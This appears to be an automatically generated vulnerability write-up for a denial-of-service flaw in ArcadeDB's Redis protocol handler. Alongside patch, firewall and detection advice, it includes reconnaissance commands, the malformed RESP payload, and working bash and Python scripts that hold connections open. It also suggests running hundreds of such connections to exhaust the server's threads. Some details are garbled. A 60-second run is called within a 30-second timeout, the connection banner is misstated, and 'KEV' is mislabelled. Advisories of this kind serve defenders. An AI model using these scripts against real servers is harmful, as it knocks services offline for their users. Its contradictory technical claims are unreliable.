CVE-2026-134325 — ArcadeData Arcadedb — CWE-770
CVE-2026-134325 is a HIGH severity Denial-of-Service (DoS) vulnerability (CWE-770) (CVSS 7.5/10) affecting ArcadeData Arcadedb. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) with zero user interaction (UI:N), causing high-impact service disruption (A:H).
📄 Official NVD / MITRE Original Record Text
ArcadeDB before 26.11.1 contains a denial of service vulnerability in the Redis protocol handler, which neither replies to nor closes a pre-authentication connection when it receives an array whose first element is not a string. Unauthenticated attackers can resend such an array just within the 30-second socket idle timeout to hold connections open indefinitely and exhaust RedisNetworkExecutor threads.
🎯 What is this vulnerability?
ArcadeDB < 26.11.1 contains a capacity‑excess flaw (CWE‑770) in its Redis protocol handler.
When a client connects to the embedded Redis port (default 6379) before any authentication has taken place, the server expects the first element of every RESP array to be a bulk string that represents a Redis command.
If the first element is not a string (e.g., an integer, a bulk string with an empty value, or a malformed array), the handler:
1. Does not generate an error reply – it silently ignores the packet.
2. Does not close the socket – the TCP connection remains open.
Because the server keeps the connection alive for the full 30‑second idle timeout, an attacker can repeatedly send such malformed arrays within that window, keeping the connection open indefinitely. Each open connection consumes a thread from the RedisNetworkExecutor thread pool. Exhausting that pool prevents any new connections from being serviced, resulting in a Denial‑of‑Service (DoS) that affects only availability (C = N, I = N, A = H).
The flaw is purely a resource‑exhaustion issue; there is no code execution, privilege escalation, or data leakage.
⚡ Attack Chain
1. Discovery & Reconnaissance
| Step | Technique | What you look for |
|---|---|---|
| Banner grab | nc <target> 6379 or redis-cli -h <target> -p 6379 | The server will respond with a banner like +OK or +PONG. The banner may include the ArcadeDB version if the Redis wrapper is configured to expose it. |
| Version fingerprint | redis-cli -h <target> -p 6379 --raw ECHO "test" | If the wrapper echoes back the command, you can infer that the Redis protocol is active. Some deployments expose the ArcadeDB version in the banner or via a custom INFO command. |
| Port scan | nmap -p 6379 <target> | Confirms that the Redis port is open. |
Note: The vulnerability is only exploitable on the Redis port; the HTTP API (e.g., /api) is unaffected.2. Exploitation
The attacker sends a RESP array whose first element is not a bulk string. The simplest payload is an array of two integers:*2\r\n:1\r\n:2\r\nExplanation of the payload
| Element | RESP token | Meaning |
|---|---|---|
*2 | Array of length 2 | Indicates that two elements follow |
:1 | Integer 1 | Malformed first element (should be a bulk string) |
:2 | Integer 2 | Second element (ignored by the server) |
Because the first element is an integer, the server’s Redis handler will ignore the packet and keep the connection open.
PoC (illustrative)
#!/usr/bin/env bash
# Keep a single connection open by repeatedly sending a malformed array
TARGET="192.0.2.10"
PORT=6379
PAYLOAD=$'*2\r\n:1\r\n:2\r\n'
# Open a persistent TCP connection
exec 3<>/dev/tcp/$TARGET/$PORT
# Send the payload every 5 seconds for 60 seconds
for i in {1..12}; do
echo -ne "$PAYLOAD" >&3
sleep 5
done
# Close the socket
exec 3>&-Important: The script keeps the socket open for 60 s, well within the 30‑second idle timeout, ensuring the connection remains alive. An attacker could spawn dozens or hundreds of such sockets concurrently to exhaust the thread pool.
Alternative (Python)
import socket
import time
target = ("192.0.2.10", 6379)
payload = b"*2\r\n:1\r\n:2\r\n"
s = socket.create_connection(target)
try:
while True:
s.sendall(payload)
time.sleep(5) # send every 5 s
except KeyboardInterrupt:
pass
finally:
s.close()Why this works: The server never replies or closes the socket, so the TCP connection stays in theESTABLISHEDstate. Each such connection consumes a thread from theRedisNetworkExecutorpool.
3. Post‑exploitation
The attacker’s goal is to disrupt service availability:1. Thread exhaustion – Once the pool is saturated, new connections are refused or queued indefinitely.
2. Resource starvation – The server may become unresponsive to legitimate clients, causing timeouts and degraded performance.
3. Potential cascading failure – If ArcadeDB is a critical component (e.g., a cache or a database for a web application), the DoS can bring down the entire application stack.
No further privileges are gained; the impact is strictly availability.
🌍 Real World Impact
| Impact | CVSS 3.1 | Explanation |
|---|---|---|
| Confidentiality | N | No data is disclosed. |
| Integrity | N | No data is modified. |
| Availability | H | The service becomes unreachable due to thread exhaustion. |
Practical consequences
- Business downtime – Web services, APIs, or internal tools that rely on ArcadeDB become unavailable.
- Operational cost – Manual remediation, increased support tickets, and potential SLA penalties.
- Security posture – A DoS can be used as a distraction for other attacks (e.g., credential stuffing, lateral movement).
- CVSS score: 7.5 / 10 (High) – indicates a serious DoS that can be triggered with minimal effort.
- Exploit complexity: Low – requires only a TCP connection and a malformed array.
- CISA KEV status: No – not currently listed as a known exploit kit.
- Business impact: High – can bring down critical services.
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
| ArcadeDB before 26.11.1 | Upgrade to 26.11.1 or later (the patch validates the first element of RESP arrays and closes the connection on malformed input). |
Recommendation: Apply the latest ArcadeDB release immediately. If an upgrade is not possible, proceed with the mitigations below.
2. Workarounds
| Mitigation | How to implement |
|---|---|
| Restrict access to the Redis port | Use a firewall (e.g., iptables, ufw, Windows Firewall) to allow connections only from trusted IP ranges or internal networks. |
| Rate‑limit connections | Configure the OS or a reverse proxy (e.g., HAProxy, Nginx) to limit the number of concurrent connections to the Redis port. |
| Disable the Redis interface | If the Redis protocol is not required for your deployment, disable the Redis listener in ArcadeDB’s configuration (redis.enabled=false). |
| Use a proxy that validates RESP | Deploy a lightweight RESP validator (e.g., a custom Go or Rust service) that sits in front of ArcadeDB and rejects malformed arrays before they reach the database. |
Note: WAF or ModSecurity rules are ineffective because the attack occurs on a binary protocol, not HTTP.
3. Detection
| Indicator | Log pattern | IoC |
|---|---|---|
| Many idle connections | connection from <IP> to <port> established without subsequent activity | IPs repeatedly connecting to port 6379 |
| No reply to commands | sent command: *2\r\n:1\r\n:2\r\n | Payload pattern *<number>\r\n:<number>\r\n |
| Thread pool exhaustion | RedisNetworkExecutor thread pool exhausted (if the application logs this) | High number of RedisNetworkExecutor threads in top/ps |
Monitoring tip: Use NetFlow or sFlow to detect a sudden spike in connections to port 6379 from unfamiliar hosts.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query